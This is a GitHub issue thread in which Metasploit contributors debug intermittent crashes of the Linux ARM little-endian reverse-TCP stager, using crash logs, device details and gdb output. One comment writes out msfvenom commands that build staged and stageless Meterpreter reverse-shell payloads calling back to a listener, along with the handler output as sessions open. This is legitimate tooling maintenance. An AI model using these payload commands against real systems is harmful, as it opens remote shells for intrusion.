Linux armle stager_sock_reverse is unstable #16107
Comments
|
I was not able to recreate on a pi zero: |
|
Likely unrelated, but to add some fuel to the fire, all Board: TI DM355 EVM (little endian) |
|
Another data point. This is from an AXIS M3044-V dome camera: Exact same behavior. The payload dies sometime during stage retrieval. This system maintains a crash log that lists recent crashes. You can see the various stagers crashing with sig 11. Success rate for establishing a meterpreter session is quite low. I'd say 4/5 sessions crash during stage retrieval. Note that stageless is rock solid. 100% success rate there (the exploit I'm working on allows me to upload / execute stageless 🤷) |
|
Hi! This issue has been left open with no activity for a while now. We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request. |
github-actions
bot
added
the
Stale
|
Let's keep this open. At some point, I'll pinpoint a good system to do better testing on. |
github-actions
bot
removed
the
Stale
|
Hi! This issue has been left open with no activity for a while now. We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request. |
github-actions
bot
added
the
Stale
bcoles
added
not-stale
|
Hi @jbaines-r7 , # uname -a
Linux cerberus 5.15.44-Re4son-v8l+ #1 SMP PREEMPT Debian kali-pi (2022-07-03) aarch64 GNU/Linux# lscpu
Architecture: aarch64
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
CPU(s): 4
On-line CPU(s) list: 0-3
Vendor ID: ARM
Model name: Cortex-A72
Model: 3
Thread(s) per core: 1
Core(s) per cluster: 4
Socket(s): -
Cluster(s): 1
Stepping: r0p3
CPU(s) scaling MHz: 67%
CPU max MHz: 1500.0000
CPU min MHz: 600.0000
BogoMIPS: 108.00
Flags: fp asimd evtstrm crc32 cpuid
Caches (sum of all):
L1d: 128 KiB (4 instances)
L1i: 192 KiB (4 instances)
L2: 1 MiB (1 instance)
Vulnerabilities:
Itlb multihit: Not affected
L1tf: Not affected
Mds: Not affected
Meltdown: Not affected
Spec store bypass: Vulnerable
Spectre v1: Mitigation; __user pointer sanitization
Spectre v2: Vulnerable
Srbds: Not affected
Tsx async abort: Not affectedStageless payloads are working fine but staged payloads are failing with an # msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=192.168.201.10 LPORT=4444 -f elf -o aarch64-staged
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: aarch64 from the payload
No encoder specified, outputting raw payload
Payload size: 212 bytes
Final size of elf file: 332 bytes
Saved as: aarch64-staged
# file aarch64-staged
aarch64-staged: ELF 64-bit LSB executable, ARM aarch64, invalid version (SYSV), statically linked, no section header
# chmod +x aarch64-staged
# ./aarch64-staged
Illegal instructionmsf6 exploit(multi/handler) >
[*] Transmitting intermediate midstager...(256 bytes)
[*] Sending stage (949364 bytes) to 192.168.201.10
[-] Meterpreter session 12 is not valid and will be closed
[*] - Meterpreter session 12 closed.# msfvenom -p linux/aarch64/meterpreter_reverse_tcp LHOST=192.168.201.10 LPORT=4444 -f elf -o aarch64-stageless
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: aarch64 from the payload
No encoder specified, outputting raw payload
Payload size: 1136368 bytes
Final size of elf file: 1136368 bytes
Saved as: aarch64-stageless
# file aarch64-stageless
aarch64-stageless: ELF 64-bit LSB pie executable, ARM aarch64, version 1 (SYSV), static-pie linked, with debug_info, not stripped
# chmod +x aarch64-stageless
# ./aarch64-stagelessmsf6 exploit(multi/handler) >
[*] Meterpreter session 13 opened (192.168.201.10:4444 -> 192.168.201.10:42052) at 2023-05-16 20:43:14 +0000Interesting observation is that the command |
|
Tried to debug the # gdb ./aarch64-staged
GNU gdb (Debian 13.1-2) 13.1
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "aarch64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./aarch64-staged...
(No debugging symbols found in ./aarch64-staged)
(gdb) run
Starting program: /root/aarch64-staged
Program received signal SIGILL, Illegal instruction.
0x0000007ff7ffc000 in ?? ()
(gdb) display/i $pc
1: x/i $pc
=> 0x7ff7ffc000: adr x2, 0x7ff7ffc0f0 |
Background
I've been doing some module work on a couple of ARM little endian devices and thought I noticed some inconsistency with the stager loading meterpreter after performing the callback. It didn't happen very often and wasn't all that repeatable until I started hacking on a Cisco RV340 which uses:
The stager (or downloaded stage) crashes frequent on this platform. About half the time. Helpfully, the system dumps core and they all generally look like this:
Which is not hella helpful. The crash address isn't even consistent. Here's a different one:
Steps to reproduce
To eliminate the odds that my module was interfering with the stager loading (somehow), I tested with one of the payloads already on disk:
As we can see, it crashed on the second attempt. On the metasploit side of things, this looked like so:
Note that it was successful on the first run but on the second run the payload never advances beyond retrieving the stage (because it crashes).
Next I was concerned the payloads on disk were corrupt. So I compiled a stager from source (I did update the IP address):
And then I uploaded that to the RV340 to test with.
As you an see, the first two runs were successful, but the third crashed. The behavior on the metasploit side was exactly the same as before (waiting after the stage had been downloaded).
After looking over the stager code, my assumption is that this is a caching issue (would explain why it sometimes happens and at inconsistent addresses). ARM is supposed to have the instruction cache flushed upon self-modification (I believe mmap+write qualifies). And we certainly flush in other stagers where it's required (e.g. mipsle) so it seems like an obvious place to investigate. 🤷
I think a next stage of investigation would be to reproduce this on another ARM device (not emulated). Probably a raspberry pi would be easiest.
Were you following a specific guide/tutorial or reading documentation?
Nope.
Expected behavior
Provide a meterpreter shell and not crash.
Current behavior
Sometimes crashing.
Metasploit version
Framework: 6.1.27-dev-b72bdf0b76
Console : 6.1.27-dev-b72bdf0b76
The text was updated successfully, but these errors were encountered: